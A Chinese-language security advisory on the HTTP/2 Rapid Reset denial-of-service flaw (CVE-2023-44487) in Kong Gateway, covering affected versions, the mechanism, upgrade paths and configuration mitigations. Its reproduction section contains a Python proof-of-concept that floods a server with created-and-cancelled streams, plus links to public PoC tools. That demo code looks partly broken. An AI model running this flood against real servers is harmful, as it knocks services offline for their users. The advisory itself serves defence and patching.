一、漏洞简介

1.1 漏洞背景

2023年10月10日,Google、Cloudflare 和 AWS 联合披露了一个影响 HTTP/2 协议的严重拒绝服务漏洞。该漏洞被称为 "HTTP/2 Rapid Reset Attack",是一种新型的 DDoS 攻击方式。由于 Kong Gateway 默认支持 HTTP/2 协议,因此所有受影响版本的 Kong Gateway 都存在此漏洞。

该漏洞攻击规模空前,Cloudflare 曾观测到峰值超过 3.98 亿次请求/秒 的攻击流量,是史上最大规模的 DDoS 攻击之一。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2023-44487
危害等级 HIGH / 7.5
漏洞类型 HTTP/2 Rapid Reset 拒绝服务漏洞
披露时间 2023-10-10
影响组件 Kong Gateway
属性
CVE 编号 CVE-2023-44487
危害等级 高危 (High)
CVSS 评分 7.5 (High)
CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
漏洞类型 拒绝服务 (DoS)
影响组件 HTTP/2 协议实现

补充核验信息:公开时间:2023-10-10;NVD 评分:7.5(HIGH);CWE:CWE-400。

二、影响范围

2.1 受影响的版本

  • Kong Gateway >= 1.4.0 的所有版本
  • 所有启用了 HTTP/2 支持的 Kong 实例

2.2 不受影响的版本

  • 未启用 HTTP/2 的 Kong 实例
  • 在负载均衡器与 Kong 之间使用非加密通信的部署(因为 Kong 的 HTTP/2 仅在 TLS 上可用)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  • Kong 实例的 proxy_listenadmin_listen 配置中包含 http2 选项
  • 客户端可以通过 HTTPS 连接到 Kong Gateway

三、漏洞详情与原理解析

3.1 漏洞触发机制

HTTP/2 协议允许客户端在单个 TCP 连接上发送多个请求(称为"流")。客户端可以创建流、发送请求头,然后立即发送 RST_STREAM 帧来取消该流。这种机制本身是正常的,用于客户端取消不再需要的请求。

Rapid Reset 攻击 的核心原理是: 1. 攻击者建立 HTTPS 连接到 Kong Gateway 2. 攻击者快速创建大量 HTTP/2 流 3. 对于每个流,攻击者立即发送 RST_STREAM 帧取消 4. 由于服务器处理 RST_STREAM 的速度跟不上接收速度,导致资源耗尽

这种攻击的特点是: - 攻击者不需要等待服务器响应 - 每个请求只消耗极少的带宽(仅 HEADERS 和 RST_STREAM 帧) - 服务器端需要分配资源处理每个请求,即使请求已被取消

3.2 源码层面的根因分析(结合源码与补丁对比)

Nginx/OpenResty 层面:

Kong Gateway 基于 OpenResty(Nginx + LuaJIT),其 HTTP/2 实现依赖于 Nginx 的 ngx_http_v2_module

问题根源在于:

// Nginx HTTP/2 模块简化逻辑
ngx_http_v2_handle_rst_stream(ngx_http_v2_connection_t *h2c,
                               ngx_http_v2_stream_t *stream) {
    // 当收到 RST_STREAM 时,需要清理资源
    // 但在高并发下,清理速度跟不上创建速度
    ngx_http_v2_close_stream(stream, 0);
}

攻击者可以在服务器完成流清理之前,发起新的流创建请求。这种"快速重置"导致: 1. 服务器端维护大量半初始化的流状态 2. 内存和 CPU 资源快速消耗 3. 合法请求无法得到处理

补丁对比:

Nginx 官方补丁主要增加了以下防护措施: - 增加了流数量限制的动态调整 - 添加了 RST_STREAM 频率限制 - 优化了流清理的优先级

四、漏洞复现(可选)

4.1 环境搭建

# 安装 Kong Gateway
docker run -d --name kong-database \
  -p 5432:5432 \
  -e "POSTGRES_USER=kong" \
  -e "POSTGRES_DB=kong" \
  postgres:9.6

docker run -d --name kong \
  --link kong-database:kong-database \
  -e "KONG_DATABASE=postgres" \
  -e "KONG_PG_HOST=kong-database" \
  -e "KONG_PROXY_LISTEN=0.0.0.0:8000, 0.0.0.0:8443 http2 ssl" \
  -p 8000:8000 \
  -p 8443:8443 \
  kong:latest

4.2 PoC 演示与测试过程

使用 Python 脚本进行测试:

import socket
import ssl
import h2.connection
import h2.config
import h2.events
import h2.frame

def rapid_reset_attack(target_host, target_port, num_streams=1000):
    """
    HTTP/2 Rapid Reset 攻击演示
    注意:仅用于授权的安全测试
    """
    # 建立 TLS 连接
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    sock = socket.create_connection((target_host, target_port))
    tls_sock = context.wrap_socket(sock, server_hostname=target_host)

    # 创建 HTTP/2 连接
    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    tls_sock.sendall(conn.data_to_send())

    # 快速创建并重置流
    for i in range(num_streams):
        # 创建新流
        stream_id = conn.get_next_available_stream_id()
        headers = [
            (":method", "GET"),
            (":path", "/"),
            (":scheme", "https"),
            (":authority", target_host),
        ]
        conn.send_headers(stream_id, headers)

        # 立即发送 RST_STREAM
        rst_frame = h2.frame.RstStreamFrame(stream_id)
        rst_frame.error_code = 0x8  # CANCEL
        conn.send_frame(rst_frame)

        tls_sock.sendall(conn.data_to_send())

    tls_sock.close()

# 警告:未经授权的测试可能违法
# rapid_reset_attack("target.example.com", 443)

使用 Go 工具测试:

package main

import (
    "crypto/tls"
    "fmt"
    "golang.org/x/net/http2"
)

func main() {
    // 仅用于授权安全测试
    fmt.Println("HTTP/2 Rapid Reset PoC - 授权测试用途")
}

已有公开 PoC 工具: - https://github.com/bcdannyboy/CVE-2023-44487 - https://github.com/arkrwn/PoC/tree/main/CVE-2023-44487

五、修复建议与缓解措施

5.1 官方版本升级建议

Kong 官方修复版本:

Kong 版本 修复状态
3.4.3+ ✅ 已修复
3.3.1+ ✅ 已修复
3.2.2+ ✅ 已修复
2.8.4+ ✅ 已修复

建议升级到最新的稳定版本。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:禁用 HTTP/2 支持

修改 kong.conf 配置文件:

# 修改前
proxy_listen = 0.0.0.0:8000, 0.0.0.0:8443 http2 ssl reuseport backlog=16384
admin_listen = 127.0.0.1:8001, 127.0.0.1:8444 http2 ssl reuseport backlog=16384

# 修改后 - 移除 http2 选项
proxy_listen = 0.0.0.0:8000, 0.0.0.0:8443 ssl reuseport backlog=16384
admin_listen = 127.0.0.1:8001, 127.0.0.1:8444 ssl reuseport backlog=16384

方案二:降低 HTTP/2 Keep-Alive 限制

# 将 nginx_http_keepalive_requests 从默认的 1000 降至 100
nginx_http_keepalive_requests = 100

注意:此方案可能导致性能下降和 TCP 连接数增加。

方案三:使用 WAF 规则拦截

在 WAF 或负载均衡器层面添加规则:

# 限制每 IP  HTTP/2 流创建速率
limit_req_zone $binary_remote_addr zone=http2_limit:10m rate=100r/s;

# 对于 nginx
http2_max_concurrent_streams 100;
http2_recv_timeout 10s;

方案四:使用 CDN 保护

通过 Akamai、Cloudflare、CloudFront 等 CDN 服务,它们已经实现了针对此攻击的防护措施。

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料